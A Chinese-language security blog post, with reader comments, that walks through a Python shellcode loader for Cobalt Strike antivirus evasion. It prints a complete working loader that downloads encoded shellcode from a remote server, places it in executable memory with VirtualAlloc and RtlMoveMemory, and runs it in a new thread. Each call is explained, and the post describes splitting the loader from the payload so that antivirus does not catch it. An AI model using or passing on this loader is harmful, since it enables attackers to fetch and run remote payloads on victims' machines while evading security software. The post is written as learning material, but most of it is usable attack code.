CS免杀-py加载器原理

最近在学习cs免杀,由于比较菜只懂python语言,就先了解py是如何实现加载shellcode写入内存的。

CS免杀-py加载器原理

最近在学习cs免杀,由于比较菜只懂python语言,就先了解py是如何实现加载shellcode写入内存的。

shellcode是一段用于利用软件漏洞而执行的代码,shellcode loader是用来运行此代码的加载器

shellcode比作子弹的话,loader就是把枪,两者缺一不可

>枪和子弹在一起才有威胁性肯定不让过安检啊
>当只有loader这边枪时,没子弹构不成威胁,所以可能会绕过免杀
>当只有shellcode时,只有子弹没有枪,也可能会绕过免杀

上面就是分离免杀的大致原理,将loader上传到主机,用loader加载shellcode

shellcode

我们在用cs生成payload时,会生成一段特定编程语言的代码(以python为例)

shellcode实际上是一段操作代码,计算机实现特定恶意功能的机器码转换成16进制

里面一长串\xfc样式的16进制代码,这就是子弹shellcode

但光有子弹不行,所以我们需要一把枪loader才能让他发挥作用。

loader加载器

这里找了一个网上的py加载器

import ctypes
import requests
import b ase64

scode = requests.get("http://192.168.1.1/123.txt")
shellcode = bytearray(b ase64.b64decode(scode.text).decode('hex'))

ctypes.windll.kernel32.VirtualAlloc.restype = ctypes.c_uint64

ptr = ctypes.windll.kernel32.VirtualAlloc(ctypes.c_int(0),
                                          ctypes.c_int(len(shellcode)),
                                          ctypes.c_int(0x3000),
                                          ctypes.c_int(0x40))

buf = (ctypes.c_char * len(shellcode)).from_buffer(shellcode)

ctypes.windll.kernel32.RtlMoveMemory(ctypes.c_int(ptr),
                                     buf,
                                     ctypes.c_int(len(shellcode)))

handle = ctypes.windll.kernel32.CreateThread(ctypes.c_int(0),
                                         ctypes.c_int(0),
                                         ctypes.c_uint64(ptr),
                                         ctypes.c_int(0),
                                         ctypes.c_int(0),
                                         ctypes.pointer(ctypes.c_int(0)))

ctypes.windll.kernel32.WaitForSingleO bject(
                                        ctypes.c_int(handle),
                                        ctypes.c_int(-1))                                     

ctypes库

python的ctypes模块是内建,用来调用系统动态链接库函数的模块

使用ctypes库可以很方便地调用C语言的动态链接库,并可以向其传递参数。

import ctypes
import requests
import b ase64

读取shellcode

我是将shellcode生成后,经hex转码,使用b ase64编码,放在了服务器123.txt文件上
由于后面操作是将代码写入内存,所以需要将代码解码并转为字节类型

scode = requests.get("http://192.168.1.1/123.txt")
shellcode = bytearray(b ase64.b64decode(scode.text).decode('hex'))

设置返回类型

我们需要用VirtualAlloc函数来申请内存,返回类型必须和系统位数相同

想在64位系统上运行,必须使用restype函数设置VirtualAlloc返回类型为ctypes.c_unit64,否则默认的是 32 位

ctypes.windll.kernel32.VirtualAlloc.restype = ctypes.c_uint64

申请内存

调用VirtualAlloc函数,来申请一块动态内存区域。

VirtualAlloc函数原型和参数如下

LPVOID VirtualAlloc{
LPVOID lpAddress,       #要分配的内存区域的地址
DWORD dwSize,           #分配的大小
DWORD flAllocationType, #分配的类型
DWORD flProtect         #该内存的初始保护属性
};

申请一块内存可读可写可执行

ptr = ctypes.windll.kernel32.VirtualAlloc(ctypes.c_int(0),
                                          ctypes.c_int(len(shellcode)),
                                          ctypes.c_int(0x3000),
                                          ctypes.c_int(0x40))
ctypes.c_int(0)是NULL,系统将会决定分配内存区域的位置,并且按64KB向上取整
ctypes.c_int(len(shellcode))以字节为单位分配或者保留多大区域
ctypes.c_int(0x3000)是 MEM_COMMIT(0x1000) 和 MEM_RESERVE(0x2000)类型的合并
ctypes.c_int(0x40)是权限为PAGE_EXECUTE_READWRITE 该区域可以执行代码,应用程序可以读写该区域。

具体参考百度百科:https://baike.baidu.com/item/VirtualAlloc/1606859?fr=aladdin

将shellcode载入内存

调用RtlMoveMemory函数,此函数从指定内存中复制内容至另一内存里

RtlMoveMemory函数原型和参数如下

RtlMoveMemory(Destination,Source,Length);
Destination :指向移动目的地址的指针。
Source :指向要复制的内存地址的指针。
Length :指定要复制的字节数。

从指定内存地址将内容复制到我们申请的内存中去,shellcode字节多大就复制多大

buf = (ctypes.c_char * len(shellcode)).from_buffer(shellcode)

ctypes.windll.kernel32.RtlMoveMemory(ctypes.c_int(ptr),
                                     buf,
                                     ctypes.c_int(len(shellcode)))

创建进程

CreateThread将在主线程的基础上创建一个新线程

CreateThread函数原型和参数如下

HANDLE CreateThread(
LPSECURITY_ATTRIBUTES lpThreadAttributes,#线程安全属性
SIZE_T dwStackSize,                     #置初始栈的大小,以字节为单位
LPTHREAD_START_ROUTINE lpStartAddress,  #指向线程函数的指针
LPVOID lpParameter,                     #向线程函数传递的参数
DWORD dwCreationFlags,                  #线程创建属性
LPDWORD lpThreadId                      #保存新线程的id
)

创建一个线程从shellcode放置位置开始执行

handle = ctypes.windll.kernel32.CreateThread(ctypes.c_int(0),
                                         ctypes.c_int(0),
                                         ctypes.c_uint64(ptr),
                                         ctypes.c_int(0),
                                         ctypes.c_int(0),
                                         ctypes.pointer(ctypes.c_int(0)))
lpThreadAttributes为NULL使用默认安全性
dwStackSize为0,默认将使用与调用该函数的线程相同的栈空间大小
lpStartAddress为ctypes.c_uint64(ptr),定位到申请的内存所在的位置
lpParameter不需传递参数时为NULL
dwCreationFlags属性为0,表示创建后立即激活
lpThreadId为ctypes.pointer(ctypes.c_int(0))不想返回线程ID,设置值为NULL

具体参考百度百科:https://baike.baidu.com/item/CreateThread/8222652?fr=aladdin

等待线程结束

WaitForSingleO bject函数用来检测线程的状态

WaitForSingleO bject函数原型和参数如下

DWORD WINAPI WaitForSingleO bject(
__in HANDLE hHandle,    #对象句柄。可以指定一系列的对象
__in DWORD dwMilliseconds   #定时时间间隔
);

等待创建的线程运行结束

ctypes.windll.kernel32.WaitForSingleO bject(
                    ctypes.c_int(handle),
                    ctypes.c_int(-1)
                    )

这里两个参数,一个是创建的线程,一个是等待时间,

当线程退出时会给出一个信号,函数收到后会结束程序。

当时间设置为0或超过等待时间,程序也会结束,所以线程也会跟着结束。

正常的话我们创建的线程是需要一直运行的,所以将时间设为负数,等待时间将成为无限等待,程序就不会结束。

https://baike.baidu.com/item/WaitForSingleO bject/3534838?fr=aladdin

总结

上面loader大致原理就是申请一块内存,将代码字节存入该内存,然后开始运行该内存储存的程序,并让该程序一直运行下去。

本人比较菜,有啥理解错误,请大佬告知。

至于免杀等后续文章,介绍几种免杀的思路。

  • 发表于 2021-08-06 11:36:20
  • 阅读 ( 8647 )
  • 分类:安全工具

2 条评论

Kali
讲的很详细
请先 登录 后评论
龙虾
py一般都建议采用。。。体积太大了,不过楼主讲的可以
请先 登录 后评论
请先 登录 后评论
XG小刚
XG小刚

小菜鸡

9 篇文章

站长统计